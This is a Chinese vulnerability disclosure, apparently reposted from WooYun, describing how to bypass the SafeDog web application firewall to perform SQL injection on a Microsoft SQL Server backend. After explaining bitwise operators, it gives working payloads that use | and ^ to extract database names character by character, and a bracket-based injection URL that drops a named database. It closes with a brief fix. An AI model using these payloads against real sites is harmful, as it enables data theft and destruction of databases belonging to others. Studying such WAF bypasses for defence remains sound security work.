神刀安全网

漏洞标题: 利用逻辑特性bypass最新版安全狗SQL注入

漏洞详情

披露状态:

2016-04-21: 细节已通知厂商并且等待厂商处理中
2016-04-21: 厂商已经确认,细节仅向厂商公开
2016-05-01: 细节向核心白帽子及相关领域专家公开
2016-05-11: 细节向普通白帽子公开
2016-05-21: 细节向实习白帽子公开
2016-06-05: 细节向公众公开

简要描述:

[email protected] 师傅一直在发bypass安全狗的例子,心里怪痒痒的,发一枚

详细说明:

漏洞标题:  利用逻辑特性bypass最新版安全狗SQL注入

关于&符号和|:

(1)按位与运算符(&)

按位与运算将两个运算分量的对应位按位遵照以下规则进行计算:

0 & 0 = 0, 0 & 1 = 0, 1 & 0 = 0, 1 & 1 = 1。

即同为 1 的位,结果为 1,否则结果为 0。

例如,设3的内部表示为

00000011

5的内部表示为

00000101

则3&5的结果为

00000001

按位与运算有两种典型用法,一是取一个位串信息的某几位,如以下代码截取x的最低7位:x & 0177。二是让某变量保留某几位,其余位置0,如以下代码让x只保留最低6位:x = x & 077。以上用法都先要设计好一个常数,该常数只有需要的位是1,不需要的位是0。用它与指定的位串信息按位与。

(2)按位或运算符(|)

按位或运算将两个运算分量的对应位按位遵照以下规则进行计算:

0 | 0 = 0, 0 | 1 = 1, 1 | 0 = 1, 1 | 1 = 1

即只要有1个是1的位,结果为1,否则为0。

例如,023 | 035 结果为037。

按位或运算的典型用法是将一个位串信息的某几位置成1。如将要获得最右4为1,其他位与变量j的其他位相同,可用逻辑或运算017|j。若要把这结果赋给变量j,可写成:

j = 017|j

(3)按位异或运算符(^)

按位异或运算将两个运算分量的对应位按位遵照以下规则进行计算:

0 ^ 0 = 0, 0 ^ 1 = 1, 1 ^ 0 = 1, 1 ^ 1 = 0

即相应位的值相同的,结果为 0,不相同的结果为 1。

例如,013^035结果为026。

异或运算的意思是求两个运算分量相应位值是否相异,相异的为1,相同的为0。按位异或运算的典型用法是求一个位串信息的某几位信息的反。如欲求整型变量j的最右4位信息的反,用逻辑异或运算017^j,就能求得j最右4位的信息的反,即原来为1的位,结果是0,原来为0的位,结果是1。

当 select 0 | 100时,结果是:100(也就是右边的数字)

当 select 0 & 100时,结果是:0(始终是0)

当 select 0 ^ 100时,结果是:100(也就是右边的数字)

所以这个sql注入的类型只能是数字型

好了,背景交代完了,我们看看我在后端的sql语句:

select * from Myuser.dbo.AppUser where UserType=1

拼接的地方自然是UserType

最后的payload是:

【1】:| (select(ascii((substring((select db_name(1)) ,1,1)))))-108

【2】:^ (select(ascii((substring((select db_name(1)) ,1,1)))))-108

拼接到数据库的语句是:

select * from SSOServer.dbo.AppUser where UserType=1 | (select(ascii((substring((select db_name(1)) ,1,1)))))-108

select * from SSOServer.dbo.AppUser where UserType=1 ^ (select(ascii((substring((select db_name(1)) ,1,1)))))-108

因为安全狗会拦截db_name(),所以就在这个函数里面加入参数来绕过

就比如:db_name(1)

我们要如何查出数据呢?

就是:

(select(ascii((substring((select db_name(1)) ,1,1)))))-108

的结果是ascii的减去108的差值,反映到where语句上的时候就对应id的数据,于是就可以查出数据了

然后还有一点要注意的一点是:

在数据库中查出的db_name(0)是当前数据库名,db_name(1)是master

然后

对了,有人会问,得到数据库名字有什么危害啊?

自然是能删除了

好,第二个安全狗第二个没有过滤到的地方是:

中括号

我如果知道有个数据库叫:mytemp

我可以这样删掉它

http://localhost/test.aspx?type=1;drop database[mytemp]–

注意,数据库名可以用中括号包起来,这样:[数据库名]

漏洞证明:

先证明我这个是有安全狗,并且是最新的:

漏洞标题:  利用逻辑特性bypass最新版安全狗SQL注入

然后证明这样可以查出数据:

漏洞标题:  利用逻辑特性bypass最新版安全狗SQL注入

漏洞标题:  利用逻辑特性bypass最新版安全狗SQL注入

漏洞标题:  利用逻辑特性bypass最新版安全狗SQL注入

成功删除数据库:

漏洞标题:  利用逻辑特性bypass最新版安全狗SQL注入

修复方案:

过滤 | & ^

版权声明:转载请注明来源 niexinming@乌云

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 漏洞标题: 利用逻辑特性bypass最新版安全狗SQL注入

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址